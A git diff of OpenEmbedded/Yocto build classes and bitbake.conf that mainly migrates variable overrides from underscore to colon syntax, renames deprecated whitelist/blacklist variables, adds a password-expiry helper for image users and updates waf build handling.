-SYSROOTFUNC_class-target = "useradd_sysroot_sstate"
+SYSROOTFUNC:class-target = "useradd_sysroot_sstate"
SYSROOTFUNC = ""
SYSROOT_PREPROCESS_FUNCS += "${SYSROOTFUNC}"
-SSTATEPREINSTFUNCS_append_class-target = " useradd_sysroot_sstate"
+SSTATEPREINSTFUNCS:append:class-target = " useradd_sysroot_sstate"
do_package_setscene[depends] += "${USERADDSETSCENEDEPS}"
do_populate_sysroot_setscene[depends] += "${USERADDSETSCENEDEPS}"
-USERADDSETSCENEDEPS_class-target = "${MLPREFIX}base-passwd:do_populate_sysroot_setscene pseudo-native:do_populate_sysroot_setscene shadow-native:do_populate_sysroot_setscene ${MLPREFIX}shadow-sysroot:do_populate_sysroot_setscene"
+USERADDSETSCENEDEPS:class-target = "${MLPREFIX}base-passwd:do_populate_sysroot_setscene pseudo-native:do_populate_sysroot_setscene shadow-native:do_populate_sysroot_setscene ${MLPREFIX}shadow-sysroot:do_populate_sysroot_setscene"
USERADDSETSCENEDEPS = ""
# Recipe parse-time sanity checks
@@ -184,8 +184,8 @@ def update_useradd_after_parse(d):
bb.fatal("%s inherits useradd but doesn't set USERADD_PACKAGES" % d.getVar('FILE', False))
for pkg in useradd_packages.split():
- d.appendVarFlag("do_populate_sysroot", "vardeps", "USERADD_PARAM_%s GROUPADD_PARAM_%s GROUPMEMS_PARAM_%s" % (pkg, pkg, pkg))
- if not d.getVar('USERADD_PARAM_%s' % pkg) and not d.getVar('GROUPADD_PARAM_%s' % pkg) and not d.getVar('GROUPMEMS_PARAM_%s' % pkg):
+ d.appendVarFlag("do_populate_sysroot", "vardeps", "USERADD_PARAM:%s GROUPADD_PARAM:%s GROUPMEMS_PARAM:%s" % (pkg, pkg, pkg))
+ if not d.getVar('USERADD_PARAM:%s' % pkg) and not d.getVar('GROUPADD_PARAM:%s' % pkg) and not d.getVar('GROUPMEMS_PARAM:%s' % pkg):
bb.fatal("%s inherits useradd but doesn't set USERADD_PARAM, GROUPADD_PARAM or GROUPMEMS_PARAM for package %s" % (d.getVar('FILE', False), pkg))
python __anonymous() {
@@ -199,7 +199,7 @@ python __anonymous() {
def get_all_cmd_params(d, cmd_type):
import string
- param_type = cmd_type.upper() + "_PARAM_%s"
+ param_type = cmd_type.upper() + "_PARAM:%s"
params = []
useradd_packages = d.getVar('USERADD_PACKAGES') or ""
@@ -211,7 +211,7 @@ def get_all_cmd_params(d, cmd_type):
return "; ".join(params)
# Adds the preinst script into generated packages
-fakeroot python populate_packages_prepend () {
+fakeroot python populate_packages:prepend () {
def update_useradd_package(pkg):
bb.debug(1, 'adding user/group calls to preinst for %s' % pkg)
@@ -220,7 +220,7 @@ fakeroot python populate_packages_prepend () {
required to execute on the target. Not doing so may cause
useradd preinst to be invoked twice, causing unwanted warnings.
"""
- preinst = d.getVar('pkg_preinst_%s' % pkg) or d.getVar('pkg_preinst')
+ preinst = d.getVar('pkg_preinst:%s' % pkg) or d.getVar('pkg_preinst')
if not preinst:
preinst = '#!/bin/sh\n'
preinst += 'bbnote () {\n\techo "NOTE: $*"\n}\n'
@@ -230,15 +230,19 @@ fakeroot python populate_packages_prepend () {
preinst += 'perform_useradd () {\n%s}\n' % d.getVar('perform_useradd')
preinst += 'perform_groupmems () {\n%s}\n' % d.getVar('perform_groupmems')
preinst += d.getVar('useradd_preinst')
- d.setVar('pkg_preinst_%s' % pkg, preinst)
+ # Expand out the *_PARAM variables to the package specific versions
+ for rep in ["GROUPADD_PARAM", "USERADD_PARAM", "GROUPMEMS_PARAM"]:
+ val = d.getVar(rep + ":" + pkg) or ""
+ preinst = preinst.replace("${" + rep + "}", val)
+ d.setVar('pkg_preinst:%s' % pkg, preinst)
# RDEPENDS setup
- rdepends = d.getVar("RDEPENDS_%s" % pkg) or ""
+ rdepends = d.getVar("RDEPENDS:%s" % pkg) or ""
rdepends += ' ' + d.getVar('MLPREFIX', False) + 'base-passwd'
rdepends += ' ' + d.getVar('MLPREFIX', False) + 'shadow'
# base-files is where the default /etc/skel is packaged
rdepends += ' ' + d.getVar('MLPREFIX', False) + 'base-files'
- d.setVar("RDEPENDS_%s" % pkg, rdepends)
+ d.setVar("RDEPENDS:%s" % pkg, rdepends)
# Add the user/group preinstall scripts and RDEPENDS requirements
# to packages specified by USERADD_PACKAGES
diff --git a/meta/classes/useradd_base.bbclass b/meta/classes/useradd_base.bbclass
index 0d0bdb80f5..7f5b9b7219 100644
--- a/meta/classes/useradd_base.bbclass
+++ b/meta/classes/useradd_base.bbclass
@@ -145,3 +145,21 @@ perform_usermod () {
fi
set -e
}
+
+perform_passwd_expire () {
+ local rootdir="$1"
+ local opts="$2"
+ bbnote "${PN}: Performing equivalent of passwd --expire with [$opts]"
+ # Directly set sp_lstchg to 0 without using the passwd command: Only root can do that
+ local username=`echo "$opts" | awk '{ print $NF }'`
+ local user_exists="`grep "^$username:" $rootdir/etc/passwd || true`"
+ if test "x$user_exists" != "x"; then
+ eval flock -x $rootdir${sysconfdir} -c \"$PSEUDO sed -i \''s/^\('$username':[^:]*\):[^:]*:/\1:0:/'\' $rootdir/etc/shadow \" || true
+ local passwd_lastchanged="`grep "^$username:" $rootdir/etc/shadow | cut -d: -f3`"
+ if test "x$passwd_lastchanged" != "x0"; then
+ bbfatal "${PN}: passwd --expire operation did not succeed."
+ fi
+ else
+ bbnote "${PN}: user $username doesn't exist, not expiring its password"
+ fi
+}
diff --git a/meta/classes/utility-tasks.bbclass b/meta/classes/utility-tasks.bbclass
index b1f27d3658..0466325c13 100644
--- a/meta/classes/utility-tasks.bbclass
+++ b/meta/classes/utility-tasks.bbclass
@@ -19,7 +19,7 @@ python do_listtasks() {
CLEANFUNCS ?= ""
-T_task-clean = "${LOG_DIR}/cleanlogs/${PN}"
+T:task-clean = "${LOG_DIR}/cleanlogs/${PN}"
addtask clean
do_clean[nostamp] = "1"
python do_clean() {
@@ -38,6 +38,7 @@ python do_clean() {
addtask checkuri
do_checkuri[nostamp] = "1"
+do_checkuri[network] = "1"
python do_checkuri() {
src_uri = (d.getVar('SRC_URI') or "").split()
if len(src_uri) == 0:
diff --git a/meta/classes/utils.bbclass b/meta/classes/utils.bbclass
index cd3d05709e..b4eb3d38ab 100644
--- a/meta/classes/utils.bbclass
+++ b/meta/classes/utils.bbclass
@@ -1,22 +1,3 @@
-def machine_paths(d):
- """List any existing machine specific filespath directories"""
- machine = d.getVar("MACHINE")
- filespathpkg = d.getVar("FILESPATHPKG").split(":")
- for basepath in d.getVar("FILESPATHBASE").split(":"):
- for pkgpath in filespathpkg:
- machinepath = os.path.join(basepath, pkgpath, machine)
- if os.path.isdir(machinepath):
- yield machinepath
-
-def is_machine_specific(d):
- """Determine whether the current recipe is machine specific"""
- machinepaths = set(machine_paths(d))
- srcuri = d.getVar("SRC_URI").split()
- for url in srcuri:
- fetcher = bb.fetch2.Fetch([srcuri], d)
- if url.startswith("file://"):
- if any(fetcher.localpath(url).startswith(mp + "/") for mp in machinepaths):
- return True
oe_soinstall() {
# Purpose: Install shared library file and
@@ -49,7 +30,6 @@ oe_libinstall() {
silent=""
require_static=""
require_shared=""
- staging_install=""
while [ "$#" -gt 0 ]; do
case "$1" in
-C)
@@ -81,10 +61,6 @@ oe_libinstall() {
if [ -z "$destpath" ]; then
bbfatal "oe_libinstall: no destination path specified"
fi
- if echo "$destpath/" | egrep '^${STAGING_LIBDIR}/' >/dev/null
- then
- staging_install=1
- fi
__runcmd () {
if [ -z "$silent" ]; then
@@ -178,36 +154,6 @@ oe_libinstall() {
__runcmd cd "$olddir"
}
-oe_machinstall() {
- # Purpose: Install machine dependent files, if available
- # If not available, check if there is a default
- # If no default, just touch the destination
- # Example:
- # $1 $2 $3 $4
- # oe_machinstall -m 0644 fstab ${D}/etc/fstab
- #
- # TODO: Check argument number?
- #
- filename=`basename $3`
- dirname=`dirname $3`
-
- for o in `echo ${OVERRIDES} | tr ':' ' '`; do
- if [ -e $dirname/$o/$filename ]; then
- bbnote $dirname/$o/$filename present, installing to $4
- install $1 $2 $dirname/$o/$filename $4
- return
- fi
- done
-# bbnote overrides specific file NOT present, trying default=$3...
- if [ -e $3 ]; then
- bbnote $3 present, installing to $4
- install $1 $2 $3 $4
- else
- bbnote $3 NOT present, touching empty $4
- touch $4
- fi
-}
-
create_cmdline_wrapper () {
# Create a wrapper script where commandline options are needed
#
@@ -233,7 +179,7 @@ create_cmdline_wrapper () {
#!/bin/bash
realpath=\`readlink -fn \$0\`
realdir=\`dirname \$realpath\`
-exec -a \`dirname \$realpath\`/$cmdname \`dirname \$realpath\`/$cmdname.real $cmdoptions "\$@"
+exec -a \$realdir/$cmdname \$realdir/$cmdname.real $cmdoptions "\$@"
END
chmod +x $cmd
}
diff --git a/meta/classes/vala.bbclass b/meta/classes/vala.bbclass
index 615eb379ad..bfcceff7cf 100644
--- a/meta/classes/vala.bbclass
+++ b/meta/classes/vala.bbclass
@@ -2,16 +2,16 @@
# because that is where target builds look for .vapi files.
#
VALADEPENDS = ""
-VALADEPENDS_class-target = "vala"
-DEPENDS_append = " vala-native ${VALADEPENDS}"
+VALADEPENDS:class-target = "vala"
+DEPENDS:append = " vala-native ${VALADEPENDS}"
# Our patched version of Vala looks in STAGING_DATADIR for .vapi files
export STAGING_DATADIR
# Upstream Vala >= 0.11 looks in XDG_DATA_DIRS for .vapi files
-export XDG_DATA_DIRS = "${STAGING_DATADIR}"
+export XDG_DATA_DIRS = "${STAGING_DATADIR}:${STAGING_LIBDIR}"
# Package additional files
-FILES_${PN}-dev += "\
+FILES:${PN}-dev += "\
${datadir}/vala/vapi/*.vapi \
${datadir}/vala/vapi/*.deps \
${datadir}/gir-1.0 \
@@ -19,6 +19,6 @@ FILES_${PN}-dev += "\
# Remove vapigen.m4 that is bundled with tarballs
# because it does not yet have our cross-compile fixes
-do_configure_prepend() {
+do_configure:prepend() {
rm -f ${S}/m4/vapigen.m4
}
diff --git a/meta/classes/waf.bbclass b/meta/classes/waf.bbclass
index 900244004e..464564afa1 100644
--- a/meta/classes/waf.bbclass
+++ b/meta/classes/waf.bbclass
@@ -1,9 +1,19 @@
# avoids build breaks when using no-static-libs.inc
DISABLE_STATIC = ""
+# What Python interpretter to use. Defaults to Python 3 but can be
+# overridden if required.
+WAF_PYTHON ?= "python3"
+
B = "${WORKDIR}/build"
+do_configure[cleandirs] += "${B}"
+
+EXTRA_OECONF:append = " ${PACKAGECONFIG_CONFARGS}"
-EXTRA_OECONF_append = " ${PACKAGECONFIG_CONFARGS}"
+EXTRA_OEWAF_BUILD ??= ""
+# In most cases, you want to pass the same arguments to `waf build` and `waf
+# install`, but you can override it if necessary
+EXTRA_OEWAF_INSTALL ??= "${EXTRA_OEWAF_BUILD}"
def waflock_hash(d):
# Calculates the hash used for the waf lock file. This should include
@@ -29,17 +39,17 @@ def waflock_hash(d):
# directory (e.g. if the source is coming from externalsrc and was previously
# configured elsewhere).
export WAFLOCK = ".lock-waf_oe_${@waflock_hash(d)}_build"
-BB_HASHBASE_WHITELIST += "WAFLOCK"
+BB_BASEHASH_IGNORE_VARS += "WAFLOCK"
python waf_preconfigure() {
import subprocess
- from distutils.version import StrictVersion
subsrcdir = d.getVar('S')
+ python = d.getVar('WAF_PYTHON')
wafbin = os.path.join(subsrcdir, 'waf')
try:
- result = subprocess.check_output([wafbin, '--version'], cwd=subsrcdir, stderr=subprocess.STDOUT)
+ result = subprocess.check_output([python, wafbin, '--version'], cwd=subsrcdir, stderr=subprocess.STDOUT)
version = result.decode('utf-8').split()[1]
- if StrictVersion(version) >= StrictVersion("1.8.7"):
+ if bb.utils.vercmp_string_op(version, "1.8.7", ">="):
d.setVar("WAF_EXTRA_CONF", "--bindir=${bindir} --libdir=${libdir}")
except subprocess.CalledProcessError as e:
bb.warn("Unable to execute waf --version, exit code %d. Assuming waf version without bindir/libdir support." % e.returncode)
@@ -50,16 +60,16 @@ python waf_preconfigure() {
do_configure[prefuncs] += "waf_preconfigure"
waf_do_configure() {
- (cd ${S} && ./waf configure -o ${B} --prefix=${prefix} ${WAF_EXTRA_CONF} ${EXTRA_OECONF})
+ (cd ${S} && ${WAF_PYTHON} ./waf configure -o ${B} --prefix=${prefix} ${WAF_EXTRA_CONF} ${EXTRA_OECONF})
}
do_compile[progress] = "outof:^\[\s*(\d+)/\s*(\d+)\]\s+"
waf_do_compile() {
- (cd ${S} && ./waf build ${@oe.utils.parallel_make_argument(d, '-j%d', limit=64)})
+ (cd ${S} && ${WAF_PYTHON} ./waf build ${@oe.utils.parallel_make_argument(d, '-j%d', limit=64)} ${EXTRA_OEWAF_BUILD})
}
waf_do_install() {
- (cd ${S} && ./waf install --destdir=${D})
+ (cd ${S} && ${WAF_PYTHON} ./waf install --destdir=${D} ${EXTRA_OEWAF_INSTALL})
}
EXPORT_FUNCTIONS do_configure do_compile do_install
diff --git a/meta/classes/xmlcatalog.bbclass b/meta/classes/xmlcatalog.bbclass
index ae4811fdeb..be155b7bc2 100644
--- a/meta/classes/xmlcatalog.bbclass
+++ b/meta/classes/xmlcatalog.bbclass
@@ -4,7 +4,7 @@ DEPENDS = "libxml2-native"
# "${sysconfdir}/xml/docbook-xml.xml".
XMLCATALOGS ?= ""
-SYSROOT_PREPROCESS_FUNCS_append = " xmlcatalog_sstate_postinst"
+SYSROOT_PREPROCESS_FUNCS:append = " xmlcatalog_sstate_postinst"
xmlcatalog_complete() {
ROOTCATALOG="${STAGING_ETCDIR_NATIVE}/xml/catalog"
diff --git a/meta/classes/yocto-check-layer.bbclass b/meta/classes/yocto-check-layer.bbclass
new file mode 100644
index 0000000000..329d3f8edb
--- /dev/null
+++ b/meta/classes/yocto-check-layer.bbclass
@@ -0,0 +1,16 @@
+#
+# This class is used by yocto-check-layer script for additional per-recipe tests
+# The first test ensures that the layer has no recipes skipping 'installed-vs-shipped' QA checks
+#
+
+WARN_QA:remove = "installed-vs-shipped"
+ERROR_QA:append = " installed-vs-shipped"
+
+python () {
+ packages = set((d.getVar('PACKAGES') or '').split())
+ for package in packages:
+ skip = set((d.getVar('INSANE_SKIP') or "").split() +
+ (d.getVar('INSANE_SKIP:' + package) or "").split())
+ if 'installed-vs-shipped' in skip:
+ oe.qa.handle_error("installed-vs-shipped", 'Package %s is skipping "installed-vs-shipped" QA test.' % package, d)
+}
diff --git a/meta/conf/abi_version.conf b/meta/conf/abi_version.conf
index 4964880108..2a08b1208b 100644
--- a/meta/conf/abi_version.conf
+++ b/meta/conf/abi_version.conf
@@ -4,4 +4,12 @@
# that breaks the format and have been previously discussed on the mailing list
# with general agreement from the core team.
#
-OELAYOUT_ABI = "12"
+OELAYOUT_ABI = "15"
+
+#
+# HASHEQUIV_HASH_VERSION is injected into the output hash calculation used by
+# hashequiv. Changing this means previous hashes will no longer match, allowing
+# a reset of the equivalence, for example when reproducibility issues break the
+# existing match data. Distros can also append to this value for the same effect.
+#
+HASHEQUIV_HASH_VERSION = "12"
diff --git a/meta/conf/bitbake.conf b/meta/conf/bitbake.conf
index 263d8aea4f..7705415a4f 100644
--- a/meta/conf/bitbake.conf
+++ b/meta/conf/bitbake.conf
@@ -10,7 +10,8 @@
baselib = "${BASELIB}"
baselib[vardepvalue] = "${baselib}"
BASELIB = "lib"
-BASELIB_powerpc64 = "lib64"
+BASELIB:libc-glibc:powerpc64 = "lib64"
+BASELIB:libc-glibc:powerpc64le = "lib64"
# Path prefixes
export base_prefix = ""
@@ -79,8 +80,8 @@ localstatedir_nativesdk = "/var"
target_datadir := "${datadir}"
# Used to find env/perl/python
USRBINPATH = "${bindir}"
-USRBINPATH_class-native = "/usr/bin"
-USRBINPATH_class-nativesdk = "/usr/bin"
+USRBINPATH:class-native = "/usr/bin"
+USRBINPATH:class-nativesdk = "/usr/bin"
# Root home directory
ROOT_HOME ??= "/home/root"
@@ -89,6 +90,37 @@ ROOT_HOME ??= "/home/root"
# If set to boolean false ('no', 'n', 'false', 'f', '0'), /var/log is on persistent storage.
VOLATILE_LOG_DIR ?= "yes"
+BB_RENAMED_VARIABLES[PNBLACKLIST] = "SKIP_RECIPE"
+BB_RENAMED_VARIABLES[CVE_CHECK_PN_WHITELIST] = "CVE_CHECK_SKIP_RECIPE"
+BB_RENAMED_VARIABLES[CVE_CHECK_WHITELIST] = "CVE_CHECK_IGNORE"
+BB_RENAMED_VARIABLES[MULTI_PROVIDER_WHITELIST] = "BB_MULTI_PROVIDER_ALLOWED"
+BB_RENAMED_VARIABLES[PNBLACKLIST] = "SKIP_RECIPE"
+BB_RENAMED_VARIABLES[SDK_LOCAL_CONF_BLACKLIST] = "ESDK_LOCALCONF_REMOVE"
+BB_RENAMED_VARIABLES[SDK_LOCAL_CONF_WHITELIST] = "ESDK_LOCALCONF_ALLOW"
+BB_RENAMED_VARIABLES[SDK_INHERIT_BLACKLIST] = "ESDK_CLASS_INHERIT_DISABLE"
+BB_RENAMED_VARIABLES[SSTATE_DUPWHITELIST] = "SSTATE_ALLOW_OVERLAP_FILES"
+BB_RENAMED_VARIABLES[SYSROOT_DIRS_BLACKLIST] = "SYSROOT_DIRS_IGNORE"
+BB_RENAMED_VARIABLES[UNKNOWN_CONFIGURE_WHITELIST] = "UNKNOWN_CONFIGURE_OPT_IGNORE"
+BB_RENAMED_VARIABLES[ICECC_USER_CLASS_BL] = "ICECC_CLASS_DISABLE"
+BB_RENAMED_VARIABLES[ICECC_SYSTEM_CLASS_BL] = "ICECC_CLASS_DISABLE"
+BB_RENAMED_VARIABLES[ICECC_USER_PACKAGE_WL] = "ICECC_RECIPE_ENABLE"
+BB_RENAMED_VARIABLES[ICECC_USER_PACKAGE_BL] = "ICECC_RECIPE_DISABLE"
+BB_RENAMED_VARIABLES[ICECC_SYSTEM_PACKAGE_BL] = "ICECC_RECIPE_DISABLE"
+BB_RENAMED_VARIABLES[INHERIT_BLACKLIST] = "is a deprecated variable and no longer needed"
+BB_RENAMED_VARIABLES[TUNEABI_WHITELIST] = "is a deprecated variable and support has been removed"
+BB_RENAMED_VARIABLES[LICENSE_FLAGS_WHITELIST] = "LICENSE_FLAGS_ACCEPTED"
+
+BB_RENAMED_VARIABLES[WHITELIST_GPL-3.0-only] = "INCOMPATIBLE_LICENSE_EXCEPTIONS"
+BB_RENAMED_VARIABLES[WHITELIST_GPL-3.0-or-later] = "INCOMPATIBLE_LICENSE_EXCEPTIONS"
+BB_RENAMED_VARIABLES[WHITELIST_LGPL-3.0-only] = "INCOMPATIBLE_LICENSE_EXCEPTIONS"
+BB_RENAMED_VARIABLES[WHITELIST_LGPL-3.0-or-later] = "INCOMPATIBLE_LICENSE_EXCEPTIONS"
+
+# These are deprecated version and should be updated to approved names
+BB_RENAMED_VARIABLES[WHITELIST_GPL-3.0] = "is deprecated, convert to INCOMPATIBLE_LICENSE_EXCEPTIONS = '<pkg>:GPL-3.0-only'"
+BB_RENAMED_VARIABLES[WHITELIST_GPL-3.0+] = "is deprecated, convert to INCOMPATIBLE_LICENSE_EXCEPTIONS = '<pkg>:GPL-3.0-or-later'"
+BB_RENAMED_VARIABLES[WHITELIST_LGPL-3.0] = "is deprecated, convert to INCOMPATIBLE_LICENSE_EXCEPTIONS = '<pkg>:LGPL-3.0-only'"
+BB_RENAMED_VARIABLES[WHITELIST_LGPL-3.0+] = "is deprecated, convert to INCOMPATIBLE_LICENSE_EXCEPTIONS = '<pkg>:LGPL-3.0-or-later'"
+
##################################################################
# Architecture-dependent build variables.
##################################################################
@@ -120,7 +152,7 @@ TUNE_CCARGS ??= ""
TUNE_CCARGS[vardepvalue] = "${TUNE_CCARGS}"
TUNE_LDARGS ??= ""
TUNE_ASARGS ??= ""
-TUNE_FEATURES ??= "${TUNE_FEATURES_tune-${DEFAULTTUNE}}"
+TUNE_FEATURES ??= "${TUNE_FEATURES:tune-${DEFAULTTUNE}}"
LIBCEXTENSION ??= ""
ABIEXTENSION ??= ""
USE_NLS ??= "yes"
@@ -129,16 +161,16 @@ SDKUSE_NLS ??= "yes"
TARGET_ARCH = "${TUNE_ARCH}"
TARGET_OS = "linux${LIBCEXTENSION}${ABIEXTENSION}"
TARGET_VENDOR = "-oe"
-TARGET_SYS = "${TARGET_ARCH}${TARGET_VENDOR}${@['-' + d.getVar('TARGET_OS'), ''][d.getVar('TARGET_OS') == ('' or 'custom')]}"
+TARGET_SYS = "${TARGET_ARCH}${TARGET_VENDOR}-${TARGET_OS}"
TARGET_PREFIX = "${TARGET_SYS}-"
TARGET_CC_ARCH = "${TUNE_CCARGS}"
TARGET_LD_ARCH = "${TUNE_LDARGS}"
TARGET_AS_ARCH = "${TUNE_ASARGS}"
-SDKMACHINE ??= "x86_64"
+SDKMACHINE ??= "${BUILD_ARCH}"
SDK_OS = "${BUILD_OS}"
SDK_VENDOR = "-oesdk"
-SDK_SYS = "${SDK_ARCH}${SDK_VENDOR}${@['-' + d.getVar('SDK_OS'), ''][d.getVar('SDK_OS') == ('' or 'custom')]}"
+SDK_SYS = "${SDK_ARCH}${SDK_VENDOR}-${SDK_OS}"
SDK_PREFIX = "${SDK_SYS}-"
SDK_CC_ARCH = "${BUILD_CC_ARCH}"
SDKPKGSUFFIX = "nativesdk"
@@ -149,7 +181,7 @@ SDK_AS_ARCH = "${BUILD_AS_ARCH}"
TUNE_PKGARCH ??= ""
PACKAGE_ARCH ??= "${TUNE_PKGARCH}"
MACHINE_ARCH = "${@[d.getVar('TUNE_PKGARCH'), d.getVar('MACHINE')][bool(d.getVar('MACHINE'))].replace('-', '_')}"
-PACKAGE_EXTRA_ARCHS ??= "${PACKAGE_EXTRA_ARCHS_tune-${DEFAULTTUNE}}"
+PACKAGE_EXTRA_ARCHS ??= "${PACKAGE_EXTRA_ARCHS:tune-${DEFAULTTUNE}}"
PACKAGE_ARCHS = "all any noarch ${PACKAGE_EXTRA_ARCHS} ${MACHINE_ARCH}"
# MACHINE_ARCH shouldn't be included here as a variable dependency
# since machine specific packages are handled using multimachine
@@ -172,25 +204,25 @@ DATETIME = "${DATE}${TIME}"
# python-native should be here but python relies on building
# its own in staging
ASSUME_PROVIDED = "\
+ bash-native \
bzip2-native \
chrpath-native \
+ diffstat-native \
file-native \
findutils-native \
gawk-native \
git-native \
grep-native \
- diffstat-native \
- patch-native \
- libgcc-native \
hostperl-runtime-native \
hostpython-runtime-native \
+ libgcc-native \
+ patch-native \
+ sed-native \
tar-native \
- virtual/libintl-native \
- virtual/libiconv-native \
- virtual/crypt-native \
texinfo-native \
- bash-native \
- sed-native \
+ virtual/crypt-native \
+ virtual/libiconv-native \
+ virtual/libintl-native \
wget-native \
"
# gzip-native should be listed above?
@@ -207,6 +239,7 @@ PF = "${PN}-${EXTENDPE}${PV}-${PR}"
EXTENDPE = "${@['','${PE}_'][int(d.getVar('PE') or 0) > 0]}"
P = "${PN}-${PV}"
+PRSERV_PV_AUTOINC = "AUTOINC"
PRAUTO = ""
EXTENDPRAUTO = "${@['.${PRAUTO}', ''][not d.getVar('PRAUTO')]}"
PRAUTOINX = "${PF}"
@@ -234,28 +267,28 @@ DESCRIPTION ?= "${SUMMARY}."
# The following two are commented out because they result in a recursive
# definition of the variable in some corner cases. These are left in
# to illustrate the intended behavior.
-#SUMMARY_${PN} ?= "${SUMMARY}"
-#DESCRIPTION_${PN} ?= "${DESCRIPTION}"
+#SUMMARY:${PN} ?= "${SUMMARY}"
+#DESCRIPTION:${PN} ?= "${DESCRIPTION}"
-SUMMARY_${PN}-src ?= "${SUMMARY} - Source files"
-DESCRIPTION_${PN}-src ?= "${DESCRIPTION} \
+SUMMARY:${PN}-src ?= "${SUMMARY} - Source files"
+DESCRIPTION:${PN}-src ?= "${DESCRIPTION} \
This package contains sources for debugging purposes."
-SUMMARY_${PN}-dbg ?= "${SUMMARY} - Debugging files"
-DESCRIPTION_${PN}-dbg ?= "${DESCRIPTION} \
+SUMMARY:${PN}-dbg ?= "${SUMMARY} - Debugging files"
+DESCRIPTION:${PN}-dbg ?= "${DESCRIPTION} \
This package contains ELF symbols and related sources for debugging purposes."
-SUMMARY_${PN}-dev ?= "${SUMMARY} - Development files"
-DESCRIPTION_${PN}-dev ?= "${DESCRIPTION} \
+SUMMARY:${PN}-dev ?= "${SUMMARY} - Development files"
+DESCRIPTION:${PN}-dev ?= "${DESCRIPTION} \
This package contains symbolic links, header files, and \
related items necessary for software development."
-SUMMARY_${PN}-staticdev ?= "${SUMMARY} - Development files (Static Libraries)"
-DESCRIPTION_${PN}-staticdev?= "${DESCRIPTION} \
+SUMMARY:${PN}-staticdev ?= "${SUMMARY} - Development files (Static Libraries)"
+DESCRIPTION:${PN}-staticdev ?= "${DESCRIPTION} \
This package contains static libraries for software development."
-SUMMARY_${PN}-doc ?= "${SUMMARY} - Documentation files"
-DESCRIPTION_${PN}-doc ?= "${DESCRIPTION} \
+SUMMARY:${PN}-doc ?= "${SUMMARY} - Documentation files"
+DESCRIPTION:${PN}-doc ?= "${DESCRIPTION} \
This package contains documentation."
LICENSE ??= "INVALID"
@@ -266,25 +299,23 @@ HOMEPAGE = ""
# Ensure that -dev packages recommend the corresponding -dev packages of their
# deps, and the same for -dbg.
-DEPCHAIN_PRE = ""
+DEPCHAIN_PRE = ""
DEPCHAIN_POST = "-dev -dbg"
DEPENDS = ""
-RDEPENDS = ""
PROVIDES = ""
-PROVIDES_prepend = "${PN} "
-RPROVIDES = ""
+PROVIDES:prepend = "${PN} "
-MULTI_PROVIDER_WHITELIST = "virtual/libintl virtual/libintl-native virtual/nativesdk-libintl virtual/xserver virtual/update-alternatives-native virtual/update-alternatives"
+BB_MULTI_PROVIDER_ALLOWED = "virtual/libintl virtual/libintl-native virtual/nativesdk-libintl virtual/xserver virtual/update-alternatives-native virtual/update-alternatives"
SOLIBS = ".so.*"
-SOLIBS_darwin = ".dylib"
+SOLIBS:darwin = ".dylib"
SOLIBSDEV = ".so"
# Due to the ordering of PACKAGES and the naming of the dev symlinks on darwin,
# we can't make the symlinks end up in the -dev packages easily at this point. This hack
# at least means builds aren't completely broken and symlinks don't take up much space.
-SOLIBSDEV_darwin = ".dylibbroken"
+SOLIBSDEV:darwin = ".dylibbroken"
PACKAGE_DEBUG_SPLIT_STYLE ?= "debug-with-srcpkg"
@@ -293,7 +324,7 @@ PACKAGES = "${PN}-src ${PN}-dbg ${PN}-staticdev ${PN}-dev ${PN}-doc ${PN}-locale
PACKAGES_DYNAMIC = "^${PN}-locale-.*"
FILES = ""
-FILES_${PN} = "${bindir}/* ${sbindir}/* ${libexecdir}/* ${libdir}/lib*${SOLIBS} \
+FILES:${PN} = "${bindir}/* ${sbindir}/* ${libexecdir}/* ${libdir}/lib*${SOLIBS} \
${sysconfdir} ${sharedstatedir} ${localstatedir} \
${base_bindir}/* ${base_sbindir}/* \
${base_libdir}/*${SOLIBS} \
@@ -304,36 +335,36 @@ FILES_${PN} = "${bindir}/* ${sbindir}/* ${libexecdir}/* ${libdir}/lib*${SOLIBS}
${datadir}/idl ${datadir}/omf ${datadir}/sounds \
${libdir}/bonobo/servers"
-FILES_${PN}-bin = "${bindir}/* ${sbindir}/*"
+FILES:${PN}-bin = "${bindir}/* ${sbindir}/*"
-FILES_${PN}-doc = "${docdir} ${mandir} ${infodir} ${datadir}/gtk-doc \
+FILES:${PN}-doc = "${docdir} ${mandir} ${infodir} ${datadir}/gtk-doc \
${datadir}/gnome/help"
-SECTION_${PN}-doc = "doc"
+SECTION:${PN}-doc = "doc"
FILES_SOLIBSDEV ?= "${base_libdir}/lib*${SOLIBSDEV} ${libdir}/lib*${SOLIBSDEV}"
-FILES_${PN}-dev = "${includedir} ${FILES_SOLIBSDEV} ${libdir}/*.la \
+FILES:${PN}-dev = "${includedir} ${FILES_SOLIBSDEV} ${libdir}/*.la \
${libdir}/*.o ${libdir}/pkgconfig ${datadir}/pkgconfig \
${datadir}/aclocal ${base_libdir}/*.o \
${libdir}/${BPN}/*.la ${base_libdir}/*.la \
${libdir}/cmake ${datadir}/cmake"
-SECTION_${PN}-dev = "devel"
-ALLOW_EMPTY_${PN}-dev = "1"
-RDEPENDS_${PN}-dev = "${PN} (= ${EXTENDPKGV})"
+SECTION:${PN}-dev = "devel"
+ALLOW_EMPTY:${PN}-dev = "1"
+RDEPENDS:${PN}-dev = "${PN} (= ${EXTENDPKGV})"
-FILES_${PN}-staticdev = "${libdir}/*.a ${base_libdir}/*.a ${libdir}/${BPN}/*.a"
-SECTION_${PN}-staticdev = "devel"
-RDEPENDS_${PN}-staticdev = "${PN}-dev (= ${EXTENDPKGV})"
+FILES:${PN}-staticdev = "${libdir}/*.a ${base_libdir}/*.a ${libdir}/${BPN}/*.a"
+SECTION:${PN}-staticdev = "devel"
+RDEPENDS:${PN}-staticdev = "${PN}-dev (= ${EXTENDPKGV})"
-FILES_${PN}-dbg = "/usr/lib/debug /usr/src/debug"
-SECTION_${PN}-dbg = "devel"
-ALLOW_EMPTY_${PN}-dbg = "1"
+FILES:${PN}-dbg = "/usr/lib/debug /usr/lib/debug-static /usr/src/debug"
+SECTION:${PN}-dbg = "devel"
+ALLOW_EMPTY:${PN}-dbg = "1"
# The files list for source packages are dynamically set based on
# PACKAGE_DEBUG_SPLIT_STYLE
-FILES_${PN}-src = ""
-SECTION_${PN}-src = "devel"
+FILES:${PN}-src = ""
+SECTION:${PN}-src = "devel"
-FILES_${PN}-locale = "${datadir}/locale"
+FILES:${PN}-locale = "${datadir}/locale"
# File manifest
@@ -355,8 +386,11 @@ FILESYSTEM_PERMS_TABLES ?= "${@'files/fs-perms.txt' if oe.types.boolean(d.getVar
# General work and output directories for the build system.
##################################################################
+TCMODE ?= "default"
+TCLIBC ?= "glibc"
TMPDIR ?= "${TOPDIR}/tmp"
